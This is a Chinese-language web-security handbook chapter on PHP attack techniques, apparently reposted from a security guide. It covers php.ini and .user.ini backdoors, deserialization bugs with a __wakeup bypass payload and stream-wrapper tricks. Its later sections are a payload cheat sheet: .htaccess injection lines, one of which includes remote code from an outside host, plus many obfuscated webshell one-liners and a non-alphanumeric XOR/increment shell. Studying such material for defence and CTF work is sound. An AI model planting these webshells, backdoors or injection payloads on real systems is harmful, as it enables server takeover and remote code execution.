5.1. PHP

只愿长相守 提交于 2020-08-04 17:37:46

内容索引:

5.1. PHP

5.1.1. 后门

5.1.1.1. php.ini构成的后门

利用 auto_prepend_file 和 include_path

5.1.1.2. .user.ini文件构成的PHP后门

.user.ini可运行于所有以fastcgi运行的server。 利用方式同php.ini

5.1.2. 反序列化

5.1.2.1. PHP序列化实现

PHP序列化处理共有三种,分别为php_serialize、php_binary和WDDX(需要编译时开启支持),默认为php_serialize,可通过配置中的 session.serialize_handler修改。

其中PHP处理器的格式为:键名 + 竖线 + 经过serialize()函数序列化处理的值。

其中php_binary处理器的格式为:键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值。

其中php_serialize处理器的格式为:经过serialize()函数序列化处理的数组。

其中php_serialize的实现在 php-src/ext/standard/var.c中,主要函数为 php_var_serialize_intern ,序列化后的格式如下:

  • boolean

    • b:<value>;
    • b:1; // true
    • b:0; // false
  • integer

    • i:<value>;
  • double

    • d:<value>;
  • NULL

    • N;
  • string

    • s:<length>:"<value>";
    • s:1:"s";
  • array

    • a:<length>:{key, value};
    • a:1:{s:4:"key1";s:6:"value1";}// array("key1" => "value1");
  • object

    • O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>};
  • reference

    • 指针类型
    • R:reference;
    • O:1:"A":2:{s:1:"a";i:1;s:1:"b";R:2;}
    • $a = new A();$a->a=1;$a->b=&$a->a;

5.1.2.2. PHP反序列化漏洞

php在反序列化的时候会调用 __wakeup / __sleep 等函数,可能会造成代码执行等问题。若没有相关函数,在析构时也会调用相关的析构函数,同样会造成代码执行。

另外 __toString / __call 两个函数也有利用的可能。

其中 __wakeup 在反序列化时被触发,__destruct 在GC时被触发, __toString在echo时被触发,__call 在一个未被定义的函数调用时被触发。

下面提供一个简单的demo.

class Demo
{

    public $data;

    public function __construct($data)
    {
        $this->data = $data;
        echo "construct<br />";
    }

    public function __wakeup()
    {
        echo "wake up<br />";
    }

    public function __destruct()
    {
        echo "Data's value is $this->data. <br />";
        echo "destruct<br />";
    }
}

var_dump(serialize(new Demo("raw value")));

输出

construct
Data's value is raw value.
destruct
string(44) "O:4:"Demo":1:{s:4:"data";s:9:"raw value";}"

把序列化的字符串修改一下后,执行

unserialize('O:4:"Demo":1:{s:4:"data";s:15:"malicious value";}');

输出

wake up
Data's value is malicious value.
destruct

这里看到,值被修改了.

上面是一个 unserialize()的简单应用,不难看出,如果 __wakeup()或者__desturct() 有敏感操作,比如读写文件、操作数据库,就可以通过函数实现文件读写或者数据读取的行为。

那么,在 __wakeup()中加入判断是否可以阻止这个漏洞呢? 在__wakeup()中我们加入一行代码

public function __wakeup()
{
    if($this->data != 'raw value') $this->data = 'raw value';
    echo "wake up<br />";
}

但其实还是可以绕过的,在 PHP5 < 5.6.25, PHP7 < 7.0.10 的版本都存在wakeup的漏洞。当反序列化中object的个数和之前的个数不等时,wakeup就会被绕过,于是使用下面的payload

unserialize('O:7:"HITCON":1:{s:4:"data";s:15:"malicious value";}');

输出

Data's value is malicious value.
destruct

这里wakeup被绕过,值依旧被修改了。

5.1.2.3. 相关CVE

5.1.2.3.1. CVE-2016-7124

在PHP 5.6.25 之前版本和 7.0.10 之前的版本,当对象的属性(变量)数大于实际的个数时,__wakeup()不会被执行。

5.1.3. Disable Functions

5.1.3.1. 机制实现

PHP中Disable Function的实现是在php-src/Zend/Zend-API.c中。PHP在启动时,读取配置文件中禁止的函数,逐一根据禁止的函数名调用 zend_disable_function来实现禁止的效果。

这个函数根据函数名在内置函数列表中找到对应的位置并修改掉,当前版本的代码如下:

ZEND_API int zend_disable_function(char *function_name, size_t function_name_length) /* {{{ */
{
    zend_internal_function *func;
    if ((func = zend_hash_str_find_ptr(CG(function_table), function_name, function_name_length))) {
        zend_free_internal_arg_info(func);
        func->fn_flags &= ~(ZEND_ACC_VARIADIC | ZEND_ACC_HAS_TYPE_HINTS | ZEND_ACC_HAS_RETURN_TYPE);
        func->num_args = 0;
        func->arg_info = NULL;
        func->handler = ZEND_FN(display_disabled_function);
        return SUCCESS;
    }
    return FAILURE;
}

和函数的实现方式类似,disable classes也是这样实现的

ZEND_API int zend_disable_class(char *class_name, size_t class_name_length) /* {{{ */
{
    zend_class_entry *disabled_class;
    zend_string *key;

    key = zend_string_alloc(class_name_length, 0);
    zend_str_tolower_copy(ZSTR_VAL(key), class_name, class_name_length);
    disabled_class = zend_hash_find_ptr(CG(class_table), key);
    zend_string_release_ex(key, 0);
    if (!disabled_class) {
        return FAILURE;
    }
    INIT_CLASS_ENTRY_INIT_METHODS((*disabled_class), disabled_class_new);
    disabled_class->create_object = display_disabled_class;
    zend_hash_clean(&disabled_class->function_table);
    return SUCCESS;
}

因为这个实现机制的原因,在PHP启动后通过 ini_set 来修改 disable_functionsdisable_classes是无效的。

5.1.3.2. Bypass

5.1.4. Open Basedir

5.1.4.1. 机制实现

PHP中Disable Function的实现是在php-src/main/fopen-wrappers.c中,实现方式是在调用文件等相关操作时调用函数根据路径来检查是否在basedir内,其中一部分实现代码如下:

PHPAPI int php_check_open_basedir_ex(const char *path, int warn)
{
    /* Only check when open_basedir is available */
    if (PG(open_basedir) && *PG(open_basedir)) {
        char *pathbuf;
        char *ptr;
        char *end;

        /* Check if the path is too long so we can give a more useful error
        * message. */
        if (strlen(path) > (MAXPATHLEN - 1)) {
            php_error_docref(NULL, E_WARNING, "File name is longer than the maximum allowed path length on this platform (%d): %s", MAXPATHLEN, path);
            errno = EINVAL;
            return -1;
        }

        pathbuf = estrdup(PG(open_basedir));

        ptr = pathbuf;

        while (ptr && *ptr) {
            end = strchr(ptr, DEFAULT_DIR_SEPARATOR);
            if (end != NULL) {
                *end = '\0';
                end++;
            }

            if (php_check_specific_open_basedir(ptr, path) == 0) {
                efree(pathbuf);
                return 0;
            }

            ptr = end;
        }
        if (warn) {
            php_error_docref(NULL, E_WARNING, "open_basedir restriction in effect. File(%s) is not within the allowed path(s): (%s)", path, PG(open_basedir));
        }
        efree(pathbuf);
        errno = EPERM; /* we deny permission to open it */
        return -1;
    }

    /* Nothing to check... */
    return 0;
}

5.1.5. 安全相关配置

5.1.5.1. 函数与类限制

可通过 disable_functions / disable_classes 限制PHP可调用的函数和类。

5.1.5.2. 目录访问限制

可通过 open_basedir 限制PHP可访问的目录。

5.1.5.3. 远程引用限制

可通过 all_url_include 限制远程文件包含,默认关闭。 可通过 allow_url_fopen 限制打开远程文件,默认开启。

5.1.5.4. Session

5.1.5.4.1. Session.Save

PHP的Session默认handler为文件,存储在 php.ini 的 session.save_path 中,若有任意读写文件的权限,则可修改或读取session。从phpinfo中可获得session位置。

5.1.5.4.2. Session.Upload

PHP默认开启session.upload_progress.enabled , 该选项会导致生成上传进度文件,其存储路径可以在phpinfo中获取。

那么可以构造特别的报文向服务器发送,在有LFI的情况下即可利用。

5.1.6. PHP流

5.1.6.1. 简介

流(Streams)的概念是在php 4.3引入的,是对流式数据的抽象,用于统一数据操作,比如文件数据、网络数据、压缩数据等。

流可以通过file、open、fwrite、fclose、file_get_contents、 file_put_contents等函数操作。

5.1.6.2. 封装协议

PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。支持的协议可用 stream_get_wrappers() 查看。

  • file:// 访问本地文件系统
  • http:// 访问 HTTP(s) 网址
  • ftp:// 访问 FTP(s) URLs
  • php:// 访问各个输入/输出流(I/O streams)
  • zlib://压缩流
  • data:// 数据(RFC 2397)
  • glob:// 查找匹配的文件路径模式
  • phar://PHP 归档
  • ssh2://Secure Shell 2
  • rar://RAR
  • ogg:// 音频流
  • expect://处理交互式的流

5.1.6.3. PHP支持流

PHP 提供了一些输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符,内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。

需要注意的是,流不受 allow_url_fopen 限制,但是 php://inputphp://stdinphp://memoryphp://temp 受限于 allow_url_include

5.1.6.3.1. 输入输出流

php://stdinphp://stdoutphp://stderr 允许直接访问 PHP 进程相应的输入或者输出流。数据流引用了复制的文件描述符,所以如果在打开 php://stdin 并在之后关了它,仅是关闭了复制品,真正被引用的 STDIN 并不受影响。

其中 php://stdin 是只读的,php://stdoutphp://stderr是只写的。

5.1.6.3.2. fd

php://fd 允许直接访问指定的文件描述符。例如 php://fd/3引用了文件描述符 3。

5.1.6.3.3. memory与temp

php://memoryphp://temp 是一个类似文件包装器的数据流,允许读写临时数据。两者的唯一区别是 php://memory 总是把数据储存在内存中,而 php://temp 会在内存量达到预定义的限制后(默认是 2MB)存入临时文件中。临时文件位置的决定和 sys_get_temp_dir() 的方式一致。

php://temp 的内存限制可通过添加 /maxmemory:NN 来控制,NN 是以字节为单位、保留在内存的最大数据量,超过则使用临时文件。

5.1.6.3.4. input

php://input 是个可以访问请求的原始数据的只读流。 POST 请求的情况下,最好使用 php://input 来代替 $HTTP_RAW_POST_DATA,因为它不依赖于特定的 php.ini 指令。而且,这样的情况下 $HTTP_RAW_POST_DATA 默认没有填充,比激活 always_populate_raw_post_data 潜在需要更少的内存。 enctype="multipart/form-data"的时候 php://input是无效的。

5.1.6.4. filter

php://filter是一种元封装器,设计用于数据流打开时的筛选过滤应用。PHP默认提供了一些流过滤器,除此之外,还可以使用各种自定义过滤器。

filter有resource, read, write三个参数,resource参数是必须的。它指定了你要筛选过滤的数据流。 read和write是可选参数,可以设定一个或多个过滤器名称,以管道符(|)分隔。

5.1.6.4.1. 过滤器列表

可以通过 stream_get_filters()获取已经注册的过滤器列表。其中PHP内置的过滤器如下:

  • 字符串过滤器

    • string.rot13
    • string.toupper
    • string.tolower
    • string.strip_tags
  • 转换过滤器

    • convert.base64-encode
    • convert.base64-decode
    • convert.quoted-printable-encode
    • convert.quoted-printable-decode
    • convert.iconv.*
  • 压缩过滤器

    • zlib.deflate
    • zlib.inflate
    • bzip2.compress
    • bzip2.decompress
  • 加密过滤器

	mcrypt.``ciphername``
	mdecrypt.``ciphername``

5.1.6.4.2. 过滤器利用tricks

  • LFI
    • php://filter/convert.base64-encode/resource=index.php
  • XXE读取文件时会因而解析报错,可用base64编码
  • base64编码会弃掉未在码表内的字符,可用于绕过一些文件格式
  • 部分 convert 会有大量的资源消耗,可用作DoS
  • rot13 / convert 转换 过WAF

5.1.7. htaccess injection payload

php_value auto_append_file /etc/hosts

5.1.7.2. code execution

php_value auto_append_file .htaccess
#<?php phpinfo();

5.1.7.3. file inclusion

php_flag allow_url_include 1
php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==
#php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B
#php_value auto_append_file https://sektioneins.de/evil-code.txt

5.1.7.4. code execution with UTF-7

php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"
php_value auto_append_file .htaccess
#+ADw?php phpinfo()+ADs

5.1.7.5. Source code disclosure

php_flag engine 0

5.1.8. WebShell

5.1.8.1. 常见变形

  • GLOBALS

    • eval($GLOBALS['_POST']['op']);
  • $_FILE

    • eval($_FILE['name']);
  • 拆分

    • assert(${"_PO"."ST"} ['sz']);
  • 动态函数执行

    • $k="ass"."ert"; $k(${"_PO"."ST"} ['sz']);
  • create_function

    • $function = create_function('$code',strrev('lave').'('.strrev('TEG_$').'["code"]);');$function();
  • preg_replace

  • rot13

  • base64

  • 进制转化
    - - "\x62\x61\163\x65\x36\x34\137\144\145\x63\x6f\144\145"

  • 利用文件名

    • __FILE__

5.1.8.2. Bypass

  • 基于少见函数

    • mb_eregi_replace('.*',$_GET[1],'','e');
  • 基于污染传播

  • putenv($_GET["c"]);eval(getenv('path'));

  • 基于少见源

    • $a = filter_input(INPUT_GET,'c');
    • eval(end(getallheaders()));

5.1.8.3. 字符串变形函数

  • ucwords
  • ucfirst
  • trim
  • substr_replace
  • substr
  • strtr
  • strtoupper
  • strtolower
  • strtok
  • str_rot13

5.1.8.4. 回调函数

  • call_user_func_array
  • call_user_func
  • array_filter
  • array_walk
  • array_map
  • registregister_shutdown_function
  • register_tick_function
  • filter_var
  • filter_var_array
  • uasort
  • uksort
  • array_reduce
  • array_walk
  • array_walk_recursive

5.1.8.5. 特殊字符Shell

PHP的字符串可以在进行异或、自增运算的时候,会直接进行运算,故可以使用特殊字符来构成Shell。

<?=`{${~"\xa0\xb8\xba\xab"}[~"\xa0"]}`;
@$_++;
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");
@${$__}[!$_](${$__}[$_]);
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___(base64_decode($_[_]));

5.1.9. Phar

5.1.9.1. 简介

Phar(PHP Archive)文件是一种打包格式,将PHP代码文件和其他资源放入一个文件中来实现应用程序和库的分发。

在来自Secarma的安全研究员Sam Thomas在18年的Black Hat上提出后利用方式后,开始受到广泛的关注。

Phar可利用是因为Phar以序列化的形式存储用户自定义的meta-data,而以流的形式打开的时候,会自动反序列化,从而触发对应的攻击载荷。

5.1.9.2. Phar文件结构

Phar由四个部分组成,分别是 stub / manifest / 文件内容 / 签名。 stub 需要 __HALT_COMPILER(); 这个调用在PHP代码中。

manifest 包含压缩文件的权限、属性、序列化形式存储的meta-data等信息,这是攻击的核心部分,主要就是解析Phar时对meta-data的反序列化。

5.1.9.3. 原理

phar的实现在 php-src/ext/phar/phar.c中,主要是 phar_parse_metadata 函数在解析phar文件时调用了 php_var_unserialize ,因而造成问题。

而php在文件流处理过程中会调用 _php_stream_stat_path(/main/streams/streams.c) ,而后间接调用 phar_wrapper_stat,所以大量的文件操作函数都可以触发phar的反序列问题。

目前已知部分的触发函数有:

fileatime / filectime / filemtime /stat / fileinode / fileowner / filegroup / fileperms / file / file_get_contents / readfile / fopen / file_exists / is_dir / is_executable / is_file / is_link / is_readable / is_writeable / is_writable / parse_ini_file / unlink / copy / exif_thumbnail / exif_imagetype / imageloadfont / imagecreatefrom*** / hash_hmac_file / hash_file / hash_update_file / md5_file / sha1_file / get_meta_tags / get_headers / getimagesize / getimagesizefromstring

5.1.10. Sink

5.1.10.1. 任意代码执行

  • eval

  • assert

    • php 7.2 之后 assert 不能传入字符串表达式
  • call_user_func

5.1.10.2. 执行系统命令

  • pcntl_exec
  • exec
  • passthru
  • popen
  • shell_exec
  • system
  • proc_open

5.1.10.3. Magic函数

  • __construct()构建对象的时被调用
  • __destruct()销毁对象或脚本结束时被调用
  • __call()调用不可访问或不存在的方法时被调用
  • __callStatic()调用不可访问或不存在的静态方法时被调用
  • __get()读取不可访问或不存在属性时被调用
  • __set() 给不可访问或不存在属性赋值时被调用
  • __isset()对不可访问或不存在的属性调用 isset 或 empty() 时被调用
  • __unset()对不可访问或不存在的属性进行 unset时被调用
  • __sleep()对象序列化时被调用
  • __wakeup() 对象反序列化时被调用
  • __toString() 当一个类被转换成字符串时被调用
  • __invoke()对象被以函数方式调用时被调用
  • __set_state()调用 var_export() 导出类时被调用
  • __clone()进行对象clone时被调用
  • __debugInfo() 调用var_dump() 打印对象时被调用

5.1.10.4. 文件相关敏感函数

  • move_uploaded_file
  • file_put_contents/ file_get_contents
  • unlink
  • fopen/fgets

5.1.10.5. SSRF

  • file_get_contents()
  • fsockopen()
  • curl_exec()
  • fopen()
  • readfile()

5.1.11. 其它

5.1.11.1. 低精度

php中并不是用高精度来存储浮点数,而是用使用 IEEE 754 双精度格式,造成在涉及到浮点数比较的时候可能会出现预期之外的错误。 比如php -r "var_dump(0.2+0.7==0.9);"这行代码的输出是 bool(false)而不是 bool(true)。这在一些情况下可能出现问题。

5.1.11.2. 弱类型

如果使用==来判断相等,则会因为类型推断出现一些预料之外的行为,比如magic hash,指当两个md5值都是0e[0-9]{30}的时候,就会认为两个hash值相等。 另外在判断字符串和数字的时候,PHP会自动做类型转换,那么 1=="1a.php"的结果会是true

另外在判断一些hash时,如果传入的是数组,返回值会为NULL, 因此在判断来自网络请求的数据的哈希值时需要先判断数据类型。

同样的,strcmp() ereg() strpos()这些函数在处理数组的时候也会异常,返回NULL。

5.1.11.3. 命令执行

preg_replace 第一个参数是//e的时候,第二个参数会被当作命令执行

5.1.11.4. 截断

PHP字符存在截断行为,可以使用ereg / %00/ iconv等实现php字符截断的操作,从而触发漏洞。

5.1.11.5. 变量覆盖

当使用 extract / parse_str 等函数时,或者使用php的$$特性时,如果没有正确的调用,则可能使得用户可以任意修改变量。

5.1.11.6. php特性

  • php自身在解析请求的时候,如果参数名字中包含" “、”."、"["这几个字符,会将他们转换成下划线
  • 由于历史原因, urlencode 和RFC3896存在一定的不同,PHP另外提供了 rawurlencode对RFC3896完成标准的实现

5.1.11.7. /tmp临时文件竞争

phpinfo可访问时,可以看到上传的临时文件的路径,从而实现LFI。

5.1.12. 参考链接

5.1.12.1. Bypass

- php open basedir bypass
- open basedir bypass
- Bypass Disable functions Shell

5.1.12.2. Tricks

- php wrappers
- 反序列化之PHP原生类的利用
- php解密的数种方法
- Surprising CTF task solution using php://filter
- 主机安全 洋葱Webshell检测实践与思考



5.1.12.3. WebShell

- PHP htaccess inject
- php木马加密
- PHP WebShell变形技术总结
- 一些不包含数字和字母的webshell


5.1.12.4. Phar

- US Black Hat 2018 Phar
- 利用 phar 拓展 php 反序列化漏洞攻击面
- Phar与Stream Wrapper造成PHP RCE的深入挖掘

5.1.12.5. 运行

- Learning the PHP lifecycle
- PHP7内核剖析

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!